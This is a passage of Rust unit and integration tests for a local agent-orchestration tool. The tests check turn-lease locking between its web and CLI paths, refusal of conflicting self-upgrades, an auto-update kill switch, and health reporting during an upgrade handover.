16512            Talks::at(home.path().join("talks")),
16513            home.path().join("runs"),
16514            home.path().to_path_buf(),
16515            PathBuf::from("/repo"),
16516        )
16517        .with_worktrees_root(home.path().join("wt"));
16518        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16519        let again = ui.begin_resume("20260901-000000-once");
16520        assert!(again.is_err(), "a second tap must not start a second graph");
16521        drop(first);
16522        assert!(
16523            ui.begin_resume("20260901-000000-once").is_ok(),
16524            "and the claim is released when the attempt ends"
16525        );
16526    }
16527
16528    #[test]
16529    fn talk_thinking_tracks_only_its_held_turn_claim() {
16530        let home = TempDir::new().expect("temp home");
16531        let ui = Ui::new(
16532            Queue::at(home.path().join("queue")),
16533            Questions::at(home.path().join("questions")),
16534            Talks::at(home.path().join("talks")),
16535            home.path().join("runs"),
16536            home.path().to_path_buf(),
16537            PathBuf::from("/repo"),
16538        )
16539        .with_worktrees_root(home.path().join("wt"));
16540        let id = "20260901-000000-once";
16541
16542        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16543        let turn = ui.begin_talk_turn(id).expect("claim turn");
16544        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16545        assert!(
16546            !ui.is_thinking("20260901-000000-other"),
16547            "one talk's turn does not make another talk busy"
16548        );
16549        drop(turn);
16550        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16551    }
16552
16553    #[test]
16554    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16555        let home = TempDir::new().expect("temp home");
16556        let talks = Talks::at(home.path().join("talks"));
16557        let ui = Ui::new(
16558            Queue::at(home.path().join("queue")),
16559            Questions::at(home.path().join("questions")),
16560            talks.clone(),
16561            home.path().join("runs"),
16562            home.path().to_path_buf(),
16563            PathBuf::from("/repo"),
16564        )
16565        .with_worktrees_root(home.path().join("wt"));
16566        let id = "20260901-000000-cross";
16567
16568        let other = Talks::at(home.path().join("talks"))
16569            .claim_turn(id)
16570            .expect("claim")
16571            .expect("the other process wins");
16572        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16573        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16574        assert!(
16575            matches!(
16576                ui.begin_talk_turn_unless_pending(id).expect("start"),
16577                TalkTurnStart::Foreign
16578            ),
16579            "a foreign holder is refused, not queued behind"
16580        );
16581        assert!(
16582            !ui.talk_turns.lock().unwrap().live.contains(id),
16583            "a refused claim leaves no in-process entry behind"
16584        );
16585        drop(other);
16586        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16587        assert!(talks.turn_held(id), "the web turn holds the lease");
16588        drop(turn);
16589        assert!(
16590            !talks.turn_held(id),
16591            "dropping the guard releases the lease"
16592        );
16593    }
16594
16595    fn consult_question(ui: &Ui) -> Question {
16596        let mut q = Question::new(
16597            "20260901-000000-consult".to_owned(),
16598            "implement".to_owned(),
16599            "impl-A".to_owned(),
16600            "Which backend?".to_owned(),
16601            String::new(),
16602            vec!["SQLite".to_owned(), "Redis".to_owned()],
16603        );
16604        ui.questions.put(&mut q).expect("question");
16605        q
16606    }
16607
16608    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16609        (
16610            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16611            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16612        )
16613    }
16614
16615    #[tokio::test]
16616    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16617        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16618        let q = consult_question(&ui);
16619        let talk = ui.talks.get(&id).expect("talk");
16620        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16621        let before = consult_snapshot(&ui, &q, &id);
16622        let cli_talks = Talks::at(ui.home.join("talks"));
16623        assert_eq!(
16624            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16625                .await
16626                .expect("CLI starter"),
16627            crate::consult::Started::Busy
16628        );
16629        assert_eq!(consult_snapshot(&ui, &q, &id), before);
16630        assert!(ui.is_thinking(&id));
16631        drop(guard);
16632        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16633    }
16634
16635    #[tokio::test]
16636    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16637        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16638        let q = consult_question(&ui);
16639        let talk = ui.talks.get(&id).expect("talk");
16640        let started = tmp.path().join("started");
16641        let release = tmp.path().join("release");
16642        let script = tmp.path().join("consult-agent.sh");
16643        std::fs::write(
16644            &script,
16645            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
16646        )
16647        .expect("script");
16648        let mut cfg = stub_config();
16649        cfg.agents[0].id = "mock".to_owned();
16650        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16651        cfg.agents[0].env = std::collections::BTreeMap::from([
16652            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16653            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16654        ]);
16655        let questions = ui.questions.clone();
16656        let cli_talks = Talks::at(ui.home.join("talks"));
16657        let cli_q = q.clone();
16658        let turn = tokio::spawn(async move {
16659            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16660        });
16661        let ready = tokio::time::timeout(Duration::from_secs(30), async {
16662            while !started.exists() {
16663                tokio::time::sleep(Duration::from_millis(10)).await;
16664            }
16665        })
16666        .await;
16667        // Always release and join the agent, even if readiness or the web
16668        // request fails, so a failed assertion cannot leave a turn behind.
16669        let refusal = if ready.is_ok() {
16670            let before = consult_snapshot(&ui, &q, &id);
16671            let result = talk_say(
16672                State(Arc::clone(&ui)),
16673                Path(id.clone()),
16674                Ok(Json(NewTalkTurn {
16675                    reply_to: None,
16676                    text: "another message".to_owned(),
16677                    attachments: Vec::new(),
16678                })),
16679            )
16680            .await;
16681            Some((result, before, consult_snapshot(&ui, &q, &id)))
16682        } else {
16683            None
16684        };
16685        std::fs::write(&release, "").expect("release agent");
16686        let done = turn.await.expect("join CLI turn");
16687        ready.expect("agent started before deadline");
16688        let (result, before, after) = refusal.expect("web request");
16689        let error = result.expect_err("web must refuse the CLI's turn");
16690        assert_eq!(error.status, StatusCode::CONFLICT);
16691        assert!(error.message.contains("a turn is already running"));
16692        assert_eq!(
16693            after, before,
16694            "refusal preserves question, draft and history"
16695        );
16696        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16697        let guard = ui
16698            .begin_talk_turn(&id)
16699            .expect("web claim")
16700            .expect("free again");
16701        drop(guard);
16702    }
16703
16704    #[test]
16705    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16706        let home = TempDir::new().expect("temp home");
16707        let talks = Talks::at(home.path().join("talks"));
16708        let ui = Ui::new(
16709            Queue::at(home.path().join("queue")),
16710            Questions::at(home.path().join("questions")),
16711            talks.clone(),
16712            home.path().join("runs"),
16713            home.path().to_path_buf(),
16714            PathBuf::from("/repo"),
16715        )
16716        .with_worktrees_root(home.path().join("wt"));
16717        let id = "20260901-000000-order";
16718        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16719        // Hold the slot mutex so the drop can finish the lease but not the slot.
16720        let slots = ui.talk_turns.lock().unwrap();
16721        let dropper = std::thread::spawn(move || drop(turn));
16722        let start = std::time::Instant::now();
16723        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16724            std::thread::sleep(Duration::from_millis(5));
16725        }
16726        assert!(!talks.turn_held(id), "the lease is released first");
16727        assert!(slots.live.contains(id), "the slot is still held meanwhile");
16728        drop(slots);
16729        dropper.join().expect("join");
16730        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16731    }
16732
16733    #[tokio::test]
16734    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16735        let fx = Fixture::start().await;
16736        // Somebody else's `magi serve` owns the queue. Replacing this binary
16737        // would leave that process running an old one against the same
16738        // claims, which is worse than refusing.
16739        let mut beat = crate::daemon::Status::new();
16740        beat.pid = 4321;
16741        beat.updated_at = jiff::Timestamp::now();
16742        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16743            .expect("publish a heartbeat");
16744
16745        let res = fx.post("/api/upgrade", None).await;
16746        assert_eq!(res.status, 409);
16747        let err = res.json()["error"].as_str().unwrap().to_owned();
16748        assert!(err.contains("4321"), "the refusal names the owner: {err}");
16749        assert!(err.contains("old one against the same queue"), "{err}");
16750    }
16751
16752    /// [`should_spawn_recheck`] must refuse for the same two reasons
16753    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
16754    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
16755    /// Purely a predicate over config and the environment - no network, no
16756    /// disk, no runtime - so unlike the fixture-based tests around it this
16757    /// one needs neither.
16758    #[test]
16759    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16760        assert!(!should_spawn_recheck(&crate::config::Update {
16761            mode: UpdateMode::Off,
16762            interval: None,
16763        }));
16764
16765        // SAFETY: single-threaded as far as this variable goes, the same
16766        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16767        unsafe {
16768            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16769        }
16770        let killed = should_spawn_recheck(&crate::config::Update {
16771            mode: UpdateMode::Notify,
16772            interval: None,
16773        });
16774        unsafe {
16775            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16776        }
16777        assert!(
16778            !killed,
16779            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16780             one-time startup check"
16781        );
16782
16783        assert!(should_spawn_recheck(&crate::config::Update {
16784            mode: UpdateMode::Notify,
16785            interval: None,
16786        }));
16787    }
16788
16789    /// [`recheck_poll_period`] must track a configured `[update] interval`
16790    /// shorter than its own default ceiling - a fixed sleep here would leave
16791    /// an operator's short interval waiting on the next wake-up instead of on
16792    /// `should_check`, which is the same bug this whole task exists to fix,
16793    /// just one level down.
16794    #[test]
16795    fn recheck_poll_period_tracks_a_short_configured_interval() {
16796        let short = crate::config::Update {
16797            mode: UpdateMode::Notify,
16798            interval: Some("1m".to_owned()),
16799        };
16800        let period = recheck_poll_period(&short);
16801        assert!(
16802            period <= Duration::from_secs(30),
16803            "a one-minute interval must wake the task far sooner than the \
16804             default ceiling, or the deck would not notice within the \
16805             interval the operator configured: got {period:?}"
16806        );
16807
16808        let default = crate::config::Update {
16809            mode: UpdateMode::Notify,
16810            interval: None,
16811        };
16812        assert_eq!(
16813            recheck_poll_period(&default),
16814            UPDATE_RECHECK_POLL_MAX,
16815            "the default day-long interval should poll at the (capped) \
16816             ceiling rather than needlessly often"
16817        );
16818    }
16819
16820    /// [`update_recheck_due`] must not repeat a check made moments ago, the
16821    /// same throttle `updater::Checker::should_check` already gives the
16822    /// CLI's notify mode. Built over an explicit state file via
16823    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
16824    /// write the operator's real `last_update_check.json` - and therefore
16825    /// cannot flake on whatever that file happens to say on the machine
16826    /// running the test.
16827    #[test]
16828    fn recheck_skips_the_network_before_the_interval_elapses() {
16829        let dir = TempDir::new().expect("temp dir");
16830        let path = dir.path().join("state.json");
16831        let state = kaishin::UpdateCheckState {
16832            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16833            last_known_latest: None,
16834            last_known_url: None,
16835        };
16836        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16837
16838        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16839        assert!(
16840            !update_recheck_due(&checker, None),
16841            "a check made moments ago must not be repeated before the \
16842             configured interval elapses"
16843        );
16844    }
16845
16846    /// An upgrade this deck already started must not be raced by a recheck
16847    /// that discovers a newer release mid-install - regardless of what
16848    /// `should_check` says, which is why the state file here is missing
16849    /// entirely: read alone, that alone would answer "never checked, go
16850    /// ahead".
16851    #[test]
16852    fn recheck_defers_to_an_upgrade_already_in_flight() {
16853        let dir = TempDir::new().expect("temp dir");
16854        let path = dir.path().join("state.json");
16855        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16856        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16857
16858        assert!(
16859            !update_recheck_due(&checker, Some(&progress)),
16860            "a recheck must not run while an upgrade this deck started is \
16861             still moving"
16862        );
16863    }
16864
16865    #[tokio::test]
16866    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16867        // The same env var the background check honours (`disabled_by_env`)
16868        // must also stop a button press before it ever calls
16869        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
16870        // means "never contact GitHub from this process", and a tap on the
16871        // upgrade button must not override that any more than a broken
16872        // `magi.toml` may. Left unset, this fixture's default config would
16873        // otherwise reach a real, unauthenticated GitHub call.
16874        //
16875        // SAFETY: single-threaded as far as this variable goes - nothing else
16876        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
16877        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16878        unsafe {
16879            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16880        }
16881        let fx = Fixture::start().await;
16882        let res = fx.post("/api/upgrade", None).await;
16883        unsafe {
16884            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16885        }
16886        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16887        let body = res.json();
16888        assert!(body["to"].is_null(), "there was no release to move to");
16889        assert!(body["parked"].is_null(), "and nothing was parked");
16890        assert!(
16891            body["detail"]
16892                .as_str()
16893                .unwrap()
16894                .contains("disabled by MAGI_NO_AUTOUPDATE"),
16895            "{body:?}"
16896        );
16897    }
16898
16899    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16900        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16901        p.stage = stage;
16902        p
16903    }
16904
16905    #[test]
16906    fn busy_stages_match_the_ui_set() {
16907        use crate::updater::Stage;
16908        assert!(APP_JS.contains(
16909            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16910        ));
16911        for s in [
16912            Stage::Downloading,
16913            Stage::Replaced,
16914            Stage::Parking,
16915            Stage::Restarting,
16916        ] {
16917            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16918        }
16919        for s in [Stage::Done, Stage::Failed] {
16920            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16921        }
16922        assert!(upgrade_in_motion(None).is_none());
16923    }
16924
16925    #[tokio::test]
16926    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16927        use crate::updater::Stage;
16928        for stage in [
16929            Stage::Downloading,
16930            Stage::Replaced,
16931            Stage::Parking,
16932            Stage::Restarting,
16933        ] {
16934            let fx = Fixture::start().await;
16935            let seeded = seeded_progress(stage);
16936            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16937            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16938                .expect("read");
16939
16940            let res = fx.post("/api/upgrade", None).await;
16941            assert_eq!(res.status, 409, "{stage:?}");
16942            let err = res.json()["error"].as_str().unwrap().to_owned();
16943            assert!(err.contains("already in progress"), "{err}");
16944            assert!(err.contains(stage.as_str()), "{err}");
16945
16946            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16947                .expect("read");
16948            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16949            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16950                .unwrap_or_default();
16951            assert!(!log.contains("signalling HANDOVER"), "{log}");
16952        }
16953    }
16954
16955    #[tokio::test]
16956    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16957        use crate::updater::Stage;
16958        let repo = TempDir::new().expect("repo dir");
16959        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16960            .expect("write magi.toml");
16961        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16962        for stage in [Stage::Done, Stage::Failed] {
16963            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
16964            let res = fx.post("/api/upgrade", None).await;
16965            assert_eq!(res.status, 200, "{stage:?}");
16966        }
16967        // No record at all, and the gate was released by the earlier calls.
16968        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
16969        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
16970    }
16971
16972    #[tokio::test]
16973    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
16974        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
16975        // and the route answers from its own logic.
16976        //
16977        // This test used to lean on the fixture's placeholder repo failing
16978        // config discovery, which left `mode = "notify"` - and a live,
16979        // unauthenticated call to the GitHub releases API inside a unit test.
16980        // GitHub allows 60 of those an hour per address, so the suite went red
16981        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
16982        // long as somebody kept re-running it: every attempt spent another
16983        // request. Six reruns across four pull requests were charged to that
16984        // before it was read as a rate limit rather than a flake.
16985        //
16986        // What the assertion is about is the "already current" branch, which
16987        // is reached by there being no newer release *or* nowhere to look. The
16988        // second one needs no network and cannot be rate limited.
16989        let repo = TempDir::new().expect("repo dir");
16990        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16991            .expect("write magi.toml");
16992        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16993
16994        // It must answer 200 and leave the process alone: restarting for an
16995        // upgrade that did not happen parks the run in flight and drops every
16996        // connection to pay for nothing. A probe against a deck already on the
16997        // newest build did exactly that, which is how this case got its own
16998        // branch.
16999        let res = fx.post("/api/upgrade", None).await;
17000        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17001        let body = res.json();
17002        assert!(body["to"].is_null(), "there was no release to move to");
17003        assert!(body["parked"].is_null(), "and nothing was parked");
17004        assert!(
17005            body["detail"]
17006                .as_str()
17007                .unwrap()
17008                .contains("nothing restarted"),
17009            "{body:?}"
17010        );
17011    }
17012
17013    #[tokio::test]
17014    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17015        // `mode = "off"` for the same reason as the test above: a default
17016        // fixture repo falls back to `mode = "notify"`, which would make this
17017        // route's new `update` field a live, unauthenticated GitHub call on
17018        // every assertion in this suite that happens to hit `/api/health`.
17019        let repo = TempDir::new().expect("repo dir");
17020        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17021            .expect("write magi.toml");
17022        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17023
17024        let health = fx.get("/api/health").await.json();
17025        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17026        assert_eq!(
17027            health["update"]["available"], false,
17028            "checking is off, which reads as \"unknown\", not \"none\""
17029        );
17030        assert!(health["update"]["to"].is_null());
17031        assert!(
17032            health["upgrade"].is_null(),
17033            "nothing has ever asked this deck to upgrade"
17034        );
17035    }
17036
17037    #[tokio::test]
17038    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17039        let fx = Fixture::start().await;
17040        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17041
17042        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17043        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17044        progress.advance(crate::updater::Stage::Parking);
17045        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17046
17047        let health = fx.get("/api/health").await.json();
17048        assert_eq!(health["upgrade"]["stage"], "parking");
17049        assert_eq!(health["upgrade"]["from"], "0.5.1");
17050        assert_eq!(health["upgrade"]["to"], "0.5.2");
17051        let waiting_on = health["upgrade"]["waiting_on"]
17052            .as_str()
17053            .expect("waiting_on is set while parking a known run");
17054        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17055        assert!(waiting_on.contains("implementing"), "{waiting_on}");
17056    }
17057
17058    #[tokio::test]
17059    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17060        let fx = Fixture::start().await;
17061        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17062        progress.advance(crate::updater::Stage::Done);
17063        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17064
17065        let health = fx.get("/api/health").await.json();
17066        assert_eq!(health["upgrade"]["stage"], "done");
17067        assert!(
17068            health["upgrade"]["waiting_on"].is_null(),
17069            "nothing to wait on once it is done"
17070        );
17071    }
17072
17073    #[tokio::test]
17074    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17075        let home = TempDir::new().expect("temp home");
17076        let runs = home.path().join("runs");
17077        std::fs::create_dir_all(&runs).expect("runs dir");
17078        let ui = Ui::new(
17079            Queue::at(home.path().join("queue")),
17080            Questions::at(home.path().join("questions")),
17081            Talks::at(home.path().join("talks")),
17082            runs,
17083            home.path().to_path_buf(),
17084            PathBuf::from("/repo/magi"),
17085        )
17086        .with_launch(launch_idle);
17087        let looping = ui.looping();
17088        let turns = ui.turns();
17089        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17090            .await
17091            .expect("bind loopback");
17092        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17093
17094        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17095        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17096
17097        hand_over(
17098            home.path(),
17099            &looping,
17100            &turns,
17101            &|_: &[String]| Duration::from_secs(5),
17102            served,
17103            |_| Ok(1),
17104        )
17105        .await
17106        .expect("hand over");
17107
17108        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17109        assert_eq!(
17110            after.stage,
17111            crate::updater::Stage::Restarting,
17112            "hand_over owns the record through parking and up to restarting; \
17113             the successor is what finishes it"
17114        );
17115    }
17116
17117    /// The successor is started exactly once on success, and exactly once on
17118    /// failure too (a failed start is reported, never retried).
17119    #[tokio::test]
17120    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17121        for fail in [false, true] {
17122            let home = TempDir::new().expect("temp home");
17123            let ui = idle_ui(&home);
17124            let looping = ui.looping();
17125            let turns = ui.turns();
17126            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17127                .await
17128                .expect("bind loopback");
17129            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17130            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17131            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17132
17133            let calls = std::sync::atomic::AtomicUsize::new(0);
17134            let outcome = hand_over(
17135                home.path(),
17136                &looping,
17137                &turns,
17138                &|_: &[String]| Duration::from_secs(5),
17139                served,
17140                |_| {
17141                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17142                    if fail {
17143                        anyhow::bail!("no exec")
17144                    } else {
17145                        Ok(4242)
17146                    }
17147                },
17148            )
17149            .await;
17150            assert_eq!(outcome.is_err(), fail);
17151            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17152
17153            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17154                .expect("upgrade.log is written under the home");
17155            for step in [
17156                "entered",
17157                "finish_loop",
17158                "listener released",
17159                "starting the successor",
17160            ] {
17161                assert!(log.contains(step), "missing `{step}` in:\n{log}");
17162            }
17163            assert!(
17164                log.contains(if fail { "did not start" } else { "pid 4242" }),
17165                "{log}"
17166            );
17167        }
17168    }
17169
17170    /// The handover signal is seen however the race falls, and wakes its one
17171    /// waiter once per signal - nothing here can spin.
17172    #[tokio::test]
17173    async fn the_handover_signal_wakes_one_waiter_once() {
17174        let signal = Notify::new();
17175        // Signalled before anyone waits: the stored permit is not lost.
17176        signal.notify_one();
17177        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17178            .await
17179            .expect("an early signal is still seen");
17180        // One signal, one wake-up: a second wait does not resolve by itself.
17181        assert!(
17182            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17183                .await
17184                .is_err(),
17185            "a consumed signal must not wake a second time"
17186        );
17187        // Signalled while waiting.
17188        let signal = std::sync::Arc::new(signal);
17189        let waiter = tokio::spawn({
17190            let signal = std::sync::Arc::clone(&signal);
17191            async move { wait_for_handover(&signal).await }
17192        });
17193        tokio::time::sleep(Duration::from_millis(20)).await;
17194        assert!(!waiter.is_finished(), "nothing was signalled yet");
17195        signal.notify_one();
17196        tokio::time::timeout(Duration::from_secs(5), waiter)
17197            .await
17198            .expect("a late signal wakes the waiter")
17199            .expect("join");
17200    }
17201
17202    #[tokio::test]
17203    async fn health_says_how_long_a_handover_has_been_stuck() {
17204        let fx = Fixture::start().await;
17205        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17206        progress.advance(crate::updater::Stage::Replaced);
17207        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17208        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17209
17210        let health = fx.get("/api/health").await.json();
17211        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17212        assert!(stuck >= 600, "{stuck}");
17213        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17214        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17215    }
17216
17217    #[tokio::test]
17218    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17219        let home = tempfile::tempdir().expect("temp home");
17220        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17221        progress.advance(crate::updater::Stage::Parking);
17222        crate::updater::write_progress(home.path(), &progress).expect("seed");
17223        // What the second upgrade_and_restart and its handler do.
17224        let mut again = progress.clone();
17225        again.advance(crate::updater::Stage::Replaced);
17226        crate::updater::write_progress(home.path(), &again).expect("replaced");
17227        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17228        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17229        let after = crate::updater::read_progress(home.path()).expect("record");
17230        assert_eq!(after.stage, crate::updater::Stage::Parking);
17231    }
17232
17233    #[tokio::test]
17234    async fn health_does_not_call_a_live_parking_wait_stuck() {
17235        let fx = Fixture::start().await;
17236        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17237        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17238        progress.advance(crate::updater::Stage::Parking);
17239        let hours = Duration::from_secs(3 * 3600);
17240        progress.started_at = Timestamp::now() - hours;
17241        progress.updated_at = Timestamp::now() - hours;
17242        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17243        let _lease = crate::updater::LeaseGuard::enter(
17244            fx.home.path(),
17245            Some("20260905-000000-cd51".to_owned()),
17246        );
17247
17248        let health = fx.get("/api/health").await.json();
17249        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17250        assert!(health["upgrade"]["stuck_kind"].is_null());
17251        assert_eq!(health["upgrade"]["handover_alive"], true);
17252        let waiting_on = health["upgrade"]["waiting_on"]
17253            .as_str()
17254            .expect("waiting_on");
17255        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17256    }
17257
17258    fn idle_ui(home: &TempDir) -> Ui {
17259        let runs = home.path().join("runs");
17260        std::fs::create_dir_all(&runs).expect("runs dir");
17261        Ui::new(
17262            Queue::at(home.path().join("queue")),
17263            Questions::at(home.path().join("questions")),
17264            Talks::at(home.path().join("talks")),
17265            runs,
17266            home.path().to_path_buf(),
17267            PathBuf::from("/repo/magi"),
17268        )
17269        .with_launch(launch_idle)
17270    }
17271
17272    async fn park_fixture(
17273        home: &TempDir,
17274    ) -> (
17275        Ui,
17276        Arc<Mutex<LoopState>>,
17277        Arc<Mutex<TalkTurns>>,
17278        tokio::task::JoinHandle<std::io::Result<()>>,
17279    ) {
17280        let ui = idle_ui(home);
17281        let looping = ui.looping();
17282        let turns = ui.turns();
17283        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17284            .await
17285            .expect("bind loopback");
17286        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17287        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17288        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17289        (ui, looping, turns, served)
17290    }
17291
17292    /// The hand-over does not release the address while a chat turn is in
17293    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
17294    /// started once the turn ends.
17295    #[tokio::test]
17296    async fn hand_over_waits_for_a_running_chat_turn() {
17297        let home = TempDir::new().expect("temp home");
17298        let (ui, looping, turns, served) = park_fixture(&home).await;
17299        let ui = Arc::new(ui);
17300        let id = "20260901-000000-chat";
17301        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17302
17303        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17304        let handover = tokio::spawn({
17305            let home = home.path().to_path_buf();
17306            let turns = Arc::clone(&turns);
17307            let calls = Arc::clone(&calls);
17308            async move {
17309                hand_over(
17310                    &home,
17311                    &looping,
17312                    &turns,
17313                    &|_: &[String]| Duration::from_secs(60),
17314                    served,
17315                    move |_| {
17316                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17317                        Ok(1)
17318                    },
17319                )
17320                .await
17321            }
17322        });
17323
17324        let waiting = async {
17325            for _ in 0..200 {
17326                if crate::updater::read_progress(home.path())
17327                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
17328                {
17329                    return;
17330                }
